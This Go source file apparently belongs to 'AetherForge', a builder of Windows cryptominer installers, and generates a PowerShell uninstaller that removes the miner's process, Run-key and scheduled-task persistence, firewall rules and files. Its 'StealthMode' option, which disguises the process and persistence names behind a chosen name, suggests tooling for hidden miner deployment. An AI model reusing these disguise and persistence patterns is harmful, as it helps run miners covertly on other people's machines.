package builder import ( "fmt" "os" "path/filepath" "strings" ) func persistenceKeyName(req *BuildRequest) string { if req.StealthMode { name := strings.TrimSpace(req.ProcessName) if name == "" { name = sanitizeFileName(req.WorkerName) } return name } name := sanitizeFileName(req.WorkerName) if name == "" { return "CryptoMinerAgent" } return "CryptoMiner-" + name } func effectiveProcessName(req *BuildRequest) string { if strings.TrimSpace(req.ProcessName) != "" { return strings.TrimSpace(req.ProcessName) } name := sanitizeFileName(req.WorkerName) if name == "" { return "CryptoMinerWorker" } return name } func expandInstallRelativePath(req *BuildRequest, buildID string) string { rel := strings.TrimSpace(req.InstallRelativePath) if rel == "" { rel = "CryptoMiner/{worker}-{build_short}" } shortBuild := buildID if len(shortBuild) > 8 { shortBuild = shortBuild[:8] } replacer := strings.NewReplacer( "{worker}", sanitizeFileName(req.WorkerName), "{build}", sanitizeFileName(buildID), "{build_short}", sanitizeFileName(shortBuild), "{process}", effectiveProcessName(req), ) return strings.ReplaceAll(replacer.Replace(rel), "/", `\`) } func resolveInstallBasePS(req *BuildRequest) string { switch strings.ToLower(strings.TrimSpace(req.InstallBase)) { case "appdata": return "$env:APPDATA" case "programdata": return "$env:ProgramData" case "userprofile": return "$env:USERPROFILE" case "temp": return "if ($env:TEMP) { $env:TEMP } else { $env:TMP }" case "custom": custom := strings.TrimSpace(req.InstallCustomBase) custom = strings.ReplaceAll(custom, "'", "''") return fmt.Sprintf("'%s'", custom) default: return "$env:LOCALAPPDATA" } } func generateUninstallScript(buildID string, req *BuildRequest) string { processName := effectiveProcessName(req) persistenceKey := persistenceKeyName(req) installRel := expandInstallRelativePath(req, buildID) installBase := resolveInstallBasePS(req) firewallBool := "$false" if req.FirewallExclusion { firewallBool = "$true" } pauseBool := "$false" if !req.StealthMode { pauseBool = "$true" } return fmt.Sprintf(`# AetherForge Miner Uninstaller # Worker: %s # Generated alongside forged installer — run as the same Windows user who installed the miner. $ErrorActionPreference = 'SilentlyContinue' $ProcessName = '%s' $PersistenceKey = '%s' $InstallBase = %s $InstallRel = '%s' $ExpectedInstallDir = Join-Path $InstallBase $InstallRel $ExpectedExe = Join-Path $ExpectedInstallDir ($ProcessName + '.exe') Write-Host "Stopping miner process..." Get-Process -Name $ProcessName -ErrorAction SilentlyContinue | Stop-Process -Force $InstallDir = $ExpectedInstallDir $InstalledTxt = Join-Path $ExpectedInstallDir 'installed.txt' if (Test-Path $InstalledTxt) { $content = Get-Content $InstalledTxt -Raw if ($content -match 'install_dir=(.+)') { $parsed = $Matches[1].Trim() if ($parsed) { $InstallDir = $parsed } } if ($content -match 'installed_exe=(.+)') { $parsedExe = $Matches[1].Trim() if ($parsedExe) { $ExpectedExe = $parsedExe } } } if (Test-Path $ExpectedExe) { Get-Process | Where-Object { $_.Path -eq $ExpectedExe } | Stop-Process -Force } Write-Host "Removing persistence..." Remove-ItemProperty -Path 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run' -Name $PersistenceKey -ErrorAction SilentlyContinue Unregister-ScheduledTask -TaskName $PersistenceKey -Confirm:$false -ErrorAction SilentlyContinue if (%s) { Write-Host "Removing Windows Firewall rules..." Remove-NetFirewallRule -DisplayName ('AetherForge ' + $PersistenceKey + ' In') -ErrorAction SilentlyContinue Remove-NetFirewallRule -DisplayName ('AetherForge ' + $PersistenceKey + ' Out') -ErrorAction SilentlyContinue } Write-Host "Removing install directory: $InstallDir" if ($InstallDir -and (Test-Path $InstallDir)) { Remove-Item -LiteralPath $InstallDir -Recurse -Force } Write-Host "Done. Miner removed." if (%s) { Read-Host 'Press Enter to close' } `, req.WorkerName, processName, persistenceKey, installBase, strings.ReplaceAll(installRel, "'", "''"), firewallBool, pauseBool) } func (h *Handler) writeUninstallScript(buildDir string, buildID string, req *BuildRequest) (fileName, filePath string, err error) { fileName = fmt.Sprintf("uninstall-%s.ps1", sanitizeFileName(req.WorkerName)) filePath = filepath.Join(buildDir, fileName) content := generateUninstallScript(buildID, req) if err := os.WriteFile(filePath, []byte(content), 0644); err != nil { return "", "", err } return fileName, filePath, nil }